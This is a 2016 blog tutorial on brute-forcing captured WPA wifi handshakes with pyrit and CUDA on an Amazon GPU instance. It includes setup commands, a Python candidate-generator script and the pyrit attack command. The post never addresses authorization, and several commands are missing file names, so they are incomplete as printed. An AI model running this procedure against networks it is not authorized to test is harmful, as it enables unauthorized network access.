Thursday, February 4, 2016

Cracking wifi password with pyrit and NVIDIA GPU on Amazon AWS

WPA algorithm is very secure, and to get the password usually we have only one way - to brute force it, which could take huge time if password is strong enough. But what if instead of using regular CPUs we would use a power of GPU? Amazon says, that we can use up to 1,536 CUDA cores on g2.2xlarge instance, which costs $0.65 per Hour. Sounds very promising, so let's see how it can help us to speed up password brute force.

Below I will give step-by-step tutorial on how to deploy Amazon GPU instance and run pyrit (python tool) to crack password using GPU.

In this article I assume that you are already familiar with aircrack-ng wi-fi cracking tools. And you've already captured handshake into .cap file.

1. Go to Amazon EC2 panel and click Launch new instance

2. Select Ubuntu Server 14.04 LTS (HVM) 64 bit > GPU instances g2.2xlarge > Review and launch

3. SSH to your new instance
ssh -i your_aws_key.pem
cat /etc/lsb-release 

4. Go to nvidia website and download latest CUDA installer (choose runfile for Ubuntu 14.04). At the time of writing it is cuda_7.5.18:

5. Install build tools:
sudo aptitude update
sudo aptitude install build-essential

6. To avoid ERROR: Unable to load the kernel module 'nvidia.ko', install also:
sudo aptitude install linux-image-extra-virtual

7. To avoid ERROR: The Nouveau kernel driver is currently in use by your system.
echo -e 'blacklist nouveau\noptions nouveau modeset=0'| sudo tee /etc/modprobe.d/blacklist-nouveau.conf
sudo update-initramfs -u

8. To avoid ERROR: Unable to find the kernel source tree for the currently running kernel:
sudo aptitude install linux-source
sudo aptitude install linux-headers-$(uname -r)

8. Reboot:
sudo shutdown -r now

9. Extract nvidia installers:
chmod +x
mkdir ~/nvidia
./ --extract=~/nvidia/

10. Run driver installation:
sudo ./nvidia/

11. Download and unzip pyrit and cpyrit-cuda:
tar -xvzf pyrit-0.4.0.tar.gz
tar -xvzf cpyrit-cuda-0.4.0.tar.gz

12. Install additional libs:
sudo apt-get install python-dev libssl-dev libpcap-dev scapy

13. Install pyrit and cpyrit-cuda:
cd ~/pyrit-0.4.0
sudo python install
cd ~/cpyrit-cuda-0.4.0
sudo python install

14. Run pyrit list_cores and make sure CUDA cores are detected:
pyrit list_cores

The following cores seem available...
#1:  'CUDA-Device #1 'GRID K520''
#2:  'CPU-Core (SSE2)'
#3:  'CPU-Core (SSE2)'
#4:  'CPU-Core (SSE2)'
#5:  'CPU-Core (SSE2)'
#6:  'CPU-Core (SSE2)'
#7:  'CPU-Core (SSE2)'
#8:  'CPU-Core (SSE2)'

15. Create file, modify chars variable which is our characters dictionary. In my case I'm cracking password containing only digits.
import itertools, string, sys

def generator_all(charset, min_len, max_len):
    return (''.join(candidate)
        for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
        for i in range(min_len, max_len + 1)))

chars = string.digits #string.ascii_lowercase + string.digits

min_chars = int(sys.argv[1])
max_chars = int(sys.argv[2])

gen = generator_all(chars, min_chars, max_chars)

for pw in gen:
        print pw

16. Run brute force to crack password from 8 to 12 characters length:
python 8 12| pyrit -r xxx.cap -b XX:XX:XX:XX:XX:XX  -i - attack_passthrough

I tried to brute force password with and without CUDA, and result is 4k pw/sec vs 30k pw/sec. I'm a bit disappointed, because I expected much faster results with CUDA. But anyway I got an experience of setting up CUDA driver on Amazon AWS. Hope this can help someone else to crack their wifi password with CUDA. :)

No comments:

Post a Comment